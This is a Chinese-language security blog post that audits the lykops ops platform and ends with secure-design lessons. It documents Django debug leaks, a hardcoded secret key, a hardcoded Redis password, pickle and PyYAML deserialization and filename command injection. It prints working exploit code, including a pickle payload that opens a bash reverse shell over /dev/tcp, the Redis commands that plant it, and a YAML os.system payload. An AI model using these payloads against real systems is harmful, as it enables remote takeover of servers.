这套系统,是在某次行动的时候遇到的,当时是通过弱密码+后台命令注入来实现getshell。
后续觉得还蛮有意思,抽个周六审计了下,却发现在某些情况下居然可以直接前台RCE。。。
下面就介绍此次审计的过程。
系统名字叫:lykops运维系统
默认账号、密码如下
前台登录界面
后台登陆后的界面
数据库方面,不同于普通的Django
+SQLite/MySQL
方案,它使用的是MongoDB
+Redis
在这种搭配下,攻击面就从单独的web,变成了web+2个服务。
假如你直接将这个项目repo clone下来直接使用,就会遭受默认配置所导致的风险。
不解释,在lykops/settings.py
中,Debug
默认是开启的。
# SECURITY WARNING: don't run with debug turned on in production! DEBUG = True
怎么利用呢?
——让django报错,进而泄露敏感信息!这里采用的是POST数组参数的方式,可以看到已经泄露了密码的Hash
源代码在这里,也是lykops/settings.py
https://github.com/lykops/lykops/blob/ed7e35d0c1abb1eacf7ab365e041347d0862c0a7/lykops/settings.py#L29
# lykops/settings.py SECRET_KEY = '-mii=_9j2@!^7#lbjgo6=6930#@)dle18^wdj^b@xa68=-3bed'
原repo里的SECRET_KEY
在上面,这个值按理说是在每一个Django项目创建之初的时候自动生成的,可是这里直接硬编码了,要是图省事不更改的话,就。。。事实上,十年前有洋人就讨论过这个问题,最佳实践=>distributing-django-projects-with-unique-secret-keys
话说回来,这个密钥的作用是啥呢,咱们先看看官方文档。
没错,理论上可以用它来伪造签名!通过学习廖新喜前辈从Django的SECTET_KEY到代码执行 | xxlegend一文,自己也跟了一下django 1.11的源代码,得到以下结论
- 在django1.6以下,session默认是采用pickle执行序列化操作,在1.6及以上版本默认采用json序列化。
- 代码执行只存在于使用pickle序列化的操作中,即django<=1.6
- 这类泄露密钥问题的利用工具:https://github.com/danghvu/pwp,蛮不错的的实现思路
总而言之,搭载django 1.11
的目标环境,并不会因为密钥泄露而产生RCE的问题。不过当下的渗透角度来看,我并没有迫切需要研究身份伪造的需求(弱密码......),因此就暂不深入分析身份伪造的利用方案了。(个人习惯:喜欢实际遇到某一类问题后,再去想办法分析解决),有这方面了解的大佬,请不吝在评论区抬一手。
登录处的pickle反序列化漏洞!
咱们先看看登录的路由,是^login.html
,对应的逻辑是Login
类的login
函数
那么跟进login
函数,其实反序列化这块,主要关注第81行就好。
第81行,传入了user=adminuser
变量,咱们通过全局搜索变量名得到adminuser
的值,默认是lykops
那么跟进get_userinfo
,发现就是去redis中取用户的登录缓存
那么咱们想想看,用户数据,在Python的上下文中,存在的形式必然是Python对象;而在Redis中,储存形式很可能是字符串。至此,理解上都没问题吧?
Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及zset(sorted set:有序集合)
再进一步,Redis使用的字符串,要转换成Python中的对象,就必然存在反序列化的实现,若反序列化限制不当,就会存在漏洞——那它反序列化用的啥函数呢?
这个get
的实现,在入参是fmt=obj
时,会反序列化【从Redis中取得的字符串
】,而反序列化函数,居然是用的pickle.loads
!
如果你还不了解Python的反序列化攻击,可以参考从零开始python反序列化攻击这篇帖子。
下面的图,是在Python cmdline中利用反序列化来命令执行的小demo
简单来说,咱们要做的,就是
__reduce__
方法,在pickle反序列化的时候会被执行的特点,先构造恶意字符串,再通过反序列化造成命令执行。pickle.loads
的入参类型要求是Byte
,而Redis取出的结果类型,默认也是Byte
,因此无需额外的转码。lykops
的value
的方式,传入恶意字符串让Python去反序列化,继而完成命令执行!生成payload的代码如下
#!/usr/bin/env python3 import pickle import os class py(): def __reduce__(self): return (os.system, ('bash -i >& /dev/tcp/10.10.111.2/1337 0>&1',)) payload = pickle.dumps(py()) # b'\x80\x03cposix\nsystem\nq\x00X)\x00\x00\x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1q\x01\x85q\x02Rq\x03.'
下面演示攻击过程,首先利用硬编码的Redis密码1qaz2wsx
去连接Redis,里面原本是有值滴,用户的hash可以拿去用hydra
爆破,此处不多介绍。
写入用于反弹shell的恶意字符串
# 写入key set lykops:userinfo "\x80\x03cposix\nsystem\nq\x00X)\x00\x00\x00bash -i >& /dev/tcp/10.10.111.1/1337 0>&1q\x01\x85q\x02Rq\x03." # 查看key get lykops:userinfo # 重置key,后续用于恢复网站 set lykops:userinfo 1
点击登录,触发RCE!
这里需要多说一句。由于某种原因,django会不停地去反序列化lykops:userinfo
中的数据——这个过程是阻塞的,所以我们在拿到shell后,会看到网站卡死。为了恢复网站,就需要重置key。
看到这里,你就会发现这种利用思路,跟P牛的掌阅iReader某站Python漏洞挖掘 | 离别歌一文,还是蛮相似的对吧。没错,我之所以想到去关注这个点,正是脑海里想起了P牛那篇文章。年轻人要多向前辈学习; D
Python在反序列化YAML格式的内容时,存在反序列化漏洞。参考浅谈PyYAML反序列化漏洞一文,得到以下要点
- 在PyYAML 5.1版本之前我们有以下反序列化方法:
load(data)
load(data, Loader=Loader)
load_all(data)
load_all(data, Loader=Loader)
- yaml反序列化时,会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令~
因此,只要Python代码中存在yaml.load()
且参数可控,则可以利用yaml
反序列化来实现RCE。
首先,在上一个问题的测试中,注意到一件事
Python会进行Yaml的语法检查,解析yaml文件很可能用的就是yaml.load
!
那么果断跟代码——全局搜yaml.load
外面有一个门面方法yaml_loader
,
没有过滤,而且一堆调用,那基本不用再跟了。
不过,还利用前,还要查看下版本,因为以PyYAML 5.1为界限,版本上、下的利用方式不太一样。
该项目是否指定了PyYAML的版本呢,查看requirements.txt
发现并未指定版本。那么就去本机上找
>>> python3 -m pip list |grep PyYAML PyYAML 3.12
是Py3默认的PyYAML 3.12
,符合最理想的反序列化情况,搞起!
还是刚刚0x02中的上传点,只需构造以下内容发送即可
!!python/object/new:os.system ["sleep 2"]
RCE!
只不过这个命令执行的点,只执行一次命令,显得更加纯粹。
全局搜索常见的命令执行函数
os\.system|os\.popen|subprocess\.|exec\(|commands\.|os\.spawn
看到一处有趣的点,直接传入了文件路径?
我们跟进到lykops/library/utils/file.py#248
里的upload_file
函数,可看到此处并没有任何过滤
那么file
变量是从哪儿来的呢?
查看函数的调用,跟到import_upload
,再往上追
最后在lykops/lykops/ansible/yaml.py#74
发现了这个漏洞的入口点,file变量来自于咱们的HTTP请求,。
对应的路由是^ansible/yaml/import$
。
可以看到,如果上传时出错,则会调用两次import_file
函数,也就是执行两遍命令。
咱们直接访问,上传并抓包
更改文件名,完成命令注入。
在安装这套系统的时候,发现一开始可以添加管理员,
路由在这里
url(r'^user/create_admin', Login(mongoclient=mongoclient, redisclient=redisclient).create_admin, name='create_admin'),
那么查看创建管理员
对应的实现代码
显然有问题。它先判断请求方式,如果是GET
请求,就去MongoDB中查,当前是否存在超管用户(上面有提到默认值是lykops
),如果不存在就渲染创建管理员的模板。
我的好开发,可再别写那么复杂了,POST请求,你压根就没鉴权。
但是但是,没注意后面强制指定了是去创建adminuser
,实际根本就不能利用。。。
感谢观看!
这一波代码审计下来,getshell的姿势可谓多种多样;但不论怎样,核心都是运维/开发人员缺乏安全意识,贪图方便。
同时呢,我在其中也学习到了一些最佳实践,例如分发Django项目时动态引入SECRET_KEY
时,最好使用系统的环境变量。
此外,假如再抬一下——升华到安全设计。从这个脆弱的项目,我又想到一个例子:想一想为什么宝塔面板的账号密码,不是保存在配置文件中,而是要求运行一条命令bt default
才出得来呢?原因之一,不就是为了防止被类似本地任意文件读取的漏洞搞下来吗?
须知漏洞往往是串联起来发挥作用的,因此安全设计就是要想办法减少彼此之间的安全依赖——护城河失陷了,还有城门,城门破开了,还有哨兵。
所以,我个人感觉:学安全,除了要学安全技术,还不能忽略安全理念,举一反三,才能产生质变啊。